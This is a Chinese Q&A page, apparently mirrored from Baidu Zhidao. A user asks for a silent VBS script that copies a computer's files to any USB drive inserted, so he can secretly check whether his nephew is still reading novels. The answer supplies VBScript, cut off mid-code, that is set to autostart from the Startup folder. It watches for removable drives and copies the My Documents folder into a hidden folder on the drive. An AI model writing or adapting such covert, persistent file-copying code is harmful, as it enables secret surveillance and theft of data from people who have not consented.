UC知道如何使用VBS脚本编写U盘插入自动复制文件至U盘？
来源：百度知道 编辑：UC知道 时间：2024/06/15 20:32:46
不要出现任何进度条等，一切都要静悄悄的。
----说起用途，那就长了。首先是侄子高考在即，我给其辅导功课，约有半年左右，作业倒有进步，但期末考试并不理想。
----侄子迷恋武侠小说，在电脑中保存很多，抱着电脑看的昏天黑地。我也无法，使用金钱鼓励，并劝治学。侄子表明今后努力学习，不在沉迷武侠小说。半年后高考，现定用功读书。
----我欣然接受，并曰：俺相信你。
----我需要偷偷的验证他到底是不是还在看小说。难道我要对热情慢慢的侄子说：我不相信你，我要检查你的电脑！以后用电脑学习前，要经过我的同意！
----他都是把小说直接下载的，肯定在我的文档里，我要是检查他的电脑，第一打击了他的热情，第二他看小说我把小说删了，他再下载就藏起来，第三他要是没看会觉得信不过他，自尊受打击。
----我要悄悄的知道他是否还在看小说。高考在即，请骗分者勿扰。
没装杀毒，高手可在线联系俺。 不是U盘内容至硬盘，是硬盘内容至U盘。
'来个短小的吧。
'复制下面代码后保存为filename.vbs,然后把它拖进“开始”菜单中“启动”中，这样它就自动运行了，只有有人这台计算机上用U盘，我的文档的资料就会考到F盘的隐藏目录中。
Dim fso, ws, disks, disk, ID, Ready
Set fso = CreateObject("scripting.filesystemobject")
Set ws = CreateObject("wscript.shell")
Set disks = fso.Drives
Do While Ready = False
For Each disk In disks
Set ID = fso.GetDrive(fso.GetDriveName(disk))
If ID.drivetype = 1 Then 'U盘已找到
If disk.IsReady = True Then
Dim scr, dst,f
scr = ws.SpecialFolders("MyDocuments")
dst = ID.DriveLetter & ":\My Documents\"
if FSO.FolderExists(dst) = false then
fso.CreateFolder dst '创建目录
End If
fso.GetFolder(dst).Attributes=2 '